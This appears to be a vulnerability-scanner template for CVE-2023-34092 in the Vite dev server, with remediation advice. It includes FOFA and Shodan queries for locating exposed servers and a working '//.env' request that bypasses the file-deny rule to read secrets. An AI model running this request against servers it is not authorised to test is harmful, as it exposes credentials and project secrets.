Vite Dev Server - Information Exposure

id: CVE-2023-34092

info:
  name: Vite Dev Server - Information Exposure
  author: ritikchaddha
  severity: high
  description: |
    Vite dev server could allow reading files from the Vite project root by bypassing server.fs.deny with double forward-slash paths (//). This affects exposed dev servers only.
  impact: |
    Unauthenticated users can read sensitive files in the project root, potentially leading to information disclosure.
  remediation: |
    Update to Vite version 4.3.9, 4.2.3, 4.1.5, 4.0.5, 3.2.7, or 2.9.16 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-353f-5xf4-qw67
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34092
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-34092
    epss-score: 0.51316
    epss-percentile: 0.97923
    cwe-id: CWE-50
  metadata:
    max-request: 2
    verified: true
    fofa-query: body="/@vite/client"
    shodan-query: http.html:"/@vite/client"
  tags: cve,cve2023,env,vite,exposure,bypass

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/.env"

    matchers:
      - type: status
        status:
          - 403
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}//.env"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "VITE_APP_SECRET"
        case-insensitive: true

      - type: status
        status:
          - 200
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